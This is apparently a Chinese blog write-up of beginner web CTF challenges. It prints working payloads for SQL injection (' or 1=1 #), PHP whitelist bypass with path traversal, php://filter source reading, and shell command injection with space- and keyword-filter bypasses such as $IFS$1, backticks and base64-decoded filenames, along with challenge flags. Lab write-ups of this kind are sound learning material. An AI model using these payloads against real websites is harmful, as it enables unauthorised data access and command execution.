關于SQL注入的一些通用辦法
可以訪問哪些表
如有權限,查詢當前用戶可以訪問的所有表
--Oracle查詢當前用戶可訪問的所有表
select owner, table_name from all_tables order by table_name;
--MySQL查詢用戶可訪問的所有數據庫和表
select table_schema, table_name from information_schema.tables;
--MySQL使用系統表查詢所有可訪問的表
select name from sysobjects where xtype = 'U';
--MSSQL使用目錄視圖查詢可訪問的表
select name from sys.tables;
GET請求
GET請求在URL里發送參數的格式是 ?parameter1=value1¶meter2=value2¶meter3=value3……。在瀏覽器導航欄中直接修改就可以操縱這些參數。
POST請求
與GET請求類似,但是POST請求的參數位于請求的底部,需要借助工具來查看和修改,比如使用Burpsuite。
[極客大挑戰 2019]EasySQL1【sql注入】
靶機啟動后,填寫username和password,登錄的地址為http://url.to.target/check.php?username=admin&password=pass+word,注意post過去空格變成了加號。


username=admin&password=pass+word
/* 動態sql
"select * from tab where username='" + $username +
"' and password='" + $password + "'"
*/
select * from tab
where username='admin' and password='pass'
這是最簡單的SQL注入,不管是在username還算在password上下功夫均可。 構造不正常的sql,使or 1=1恒成立,后面用#注釋。或者讓最后一個表達式or '1'='1'恒成立。得到flag為flag{4080d180-d289-43db-91ed-094ac7487e91}
from urllib.parse import quote,unquote
"""
構造不正常的sql
select * from tab
where username='' or 1=1 #' and password='pass'
select * from tab
where username='admin' and password='' or '1'='1'
"""
for m in ('\'', ' ', '#', '='):c = quote(m)print(f'{m} = {c}')print(quote(r"' or 1=1 #")) # username=%27+or+1%3D1+%23
print(quote(r"' or '1'='1")) # password=%27+or+%271%27%3D%271

&
password=123

&
password=%27+or+%271%27%3D%271
[極客大挑戰 2019]Havefun1【代碼審計】
頁面按下F12,發現提示$cat=='dog'。那么post過去一個http://url.to.target/?cat=dog,得到flag為
flag{80a408c6-2602-472d-966b-eb09d00dc293}


[HCTF 2018]WarmUp1【php,代碼審計】
Web界面只看到一張大黃臉。根據“代碼審計”提示按下F12,可以看到提示source.php。訪問source.php,看到代碼,有新提示source.php和hint.php在白名單列表。訪問hint.php,看到flag not here, and flag in ffffllllaaaagggg。



看一下source.php的代碼。發現提交參數是file,且file不為空、是字符串、并通過emmm:checkFile檢查。這個函數經過3次檢查
- 先檢查參數是否在白名單里,白名單為source.php和hint.php。
- 如果file的值仍有參數,那么取“?”前面的內容,檢查是否在白名單里。
- 如果file的值仍有參數,值url解碼,取“?”前面的內容,檢查是否在白名單里。
雖然“?”前的字符串在白名單里,但是“?”后面的字符串可以被利用,目錄穿越到其他目錄,嘗試有無 ffffllllaaaagggg 文件,向上穿越4層父目錄有這個文件,得到flag。
<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}
?>
構造注入的參數 ?file=source.php?/../../../../ffffllllaaaagggg。符合第二個白名單檢查。

或者 ?file=hint.php%253F/../../../../ffffllllaaaagggg。這里%253F被瀏覽器解碼一次得到%3F,%3F再被urldecode一次得到“?”,這樣就符合第三個白名單檢查。

[ACTF2020 新生賽]Include1【php,include漏洞】
界面有一個鏈接tips,GET方法傳遞參數file值為flag.php。題目叫Include,考慮include漏洞。


PHP的Include漏洞在文件包含漏洞(include)-學習筆記_include_filter漏洞_小龍在山東的博客-CSDN博客簡介服務器執行PHP文件時,可以通過文件包含函數加載另一個文件中的PHP代碼,并且當PHP來執行,這會為開發者節省大量的時間。這意味著您可以創建供所有網頁引用的標準頁眉或菜單文件。當頁眉需要更新時,您只更新一個包含文件就可以了,或者當您向網站添加一張新頁面時,僅僅需要修改一下菜單文件(而不是更新所有網頁中的鏈接)。PHP Stream(流)屬性支持受限于 allow_url_fopenNO受限于allow_url_include僅 php://input、 php://s_include_filter漏洞https://blog.csdn.net/lilongsy/article/details/108146107里面已經說的很明白了。使用讀取php源代碼方法,/?file=php://filter/read=convert.base64-encode/resource=flag.php,得到base64編碼,再轉換為flag即可。

<?php
echo "Can you find out the flag?";
//flag{a8f11f6d-a98b-4220-9cd8-f073cfc1c469}
[ACTF2020 新生賽]Exec1【構造payload執行shell命令】
界面標題command execution,推測是執行shell命令。F12查看,提交form只有一個參數target,那么執行ping的命令應該是拼接出來的動態命令。注意shell命令,用“;”、“&”、“|”等符號分割,可以在一行命令上執行多個命令。

$cmd = "ping" + $target
# target=weibo.com;ls /
$cmd = "ping weibo.com;ls /"
?嘗試填入 weibo.com;ls / ,看到根目錄下有flag文件。再填入weibo.com;cat /flag,得到flag。


[GXYCTF2019]Ping Ping Ping1【shell、$IFS$1繞開空格、繞開字母等字符】
界面上有/?ip=的提示,嘗試構造payload,/?ip=qq.com;ls,看到flag.php和index.php

嘗試構造payload查看flag.php的內容,/?ip=qq.com;cat flag.php,看到fxck your space!看來是過濾了空格。

嘗試構造payload不輸入空格查看flag.php內容這里有幾種方法 ${IFS} 、$IFS$1 、%20 、%09 、+ 、< 、<> 等。這里$IFS$1可行,payload為 /?ip=qq.com;cat$IFS$1flag.php,看到fxck your flag!看來是過濾了flag。

嘗試構造payload查看index.php,/?ip=qq.com;cat$IFS$1index.php,看到代碼中過濾了斜線、反斜線、引號、括號、空格、bash、flag等一系列字符(串)。那么就考慮不出現這些字符串怎么訪問。

嘗試構造payload,/?ip=qq.com;ls|xargs$IFS$1cat,也就是執行 ls|xargs cat,回顯所有列出文件的內容,再按F12看代碼得到flag。

同理構造payload,/?ip=qq.com;cat$IFS$1`ls`,也就是執行 cat `ls`,回顯所有列出文件的內容,再按F12看代碼得到flag。不同的是,shell中將反引號內命令的輸出作為輸入執行,即內聯執行。

嘗試構造payload,/?ip=qq.com;echo$IFS$1FLAG.PHP|tr$IFS$1A-Z$IFS$1a-z|xargs$IFS$1cat,也就是執行 echo FLAG.PHP|tr A-Z a-z|xargs cat,回顯flag.php內容,再按F12看代碼得到flag。正則表達式只匹配了小寫的flag,我們就輸入大寫的FLAG.PHP,用tr命令轉為小寫,再執行cat。

嘗試構造payload,/?ip=qq.com;echo$IFS$1ZmxhZy5waHA=|base64$IFS$1-d|xargs$IFS$1cat,也就是執行 echo ZmxhZy5waHA=|base64 -d|xargs cat,回顯flag.php內容,再按F12看代碼得到flag。輸入flag.php的base64編碼,再解碼,再執行cat。

嘗試構造payload,/?ip=qq.com;x=g;cat$IFS$1fla$x.php。利用正則表達式的漏洞,flag的最后一個字母g可以替換,也能打到目的。

[強網杯 2019]隨便注1
既然隨便注,那么先嘗試一下萬能密碼。果然可以。
--"select * from tab where id='" + $inject + "'"
--/?inject='or'1'='1
select * from tab where id=''or'1'='1'

嘗試只輸入一個單引號“'”,看報錯是mysql數據庫。

嘗試使用union all 聯查Information.schema時候,發現正則表達式過濾了select、update、delete、drop、insert、where等關鍵字。

Next
http://url.to.flag/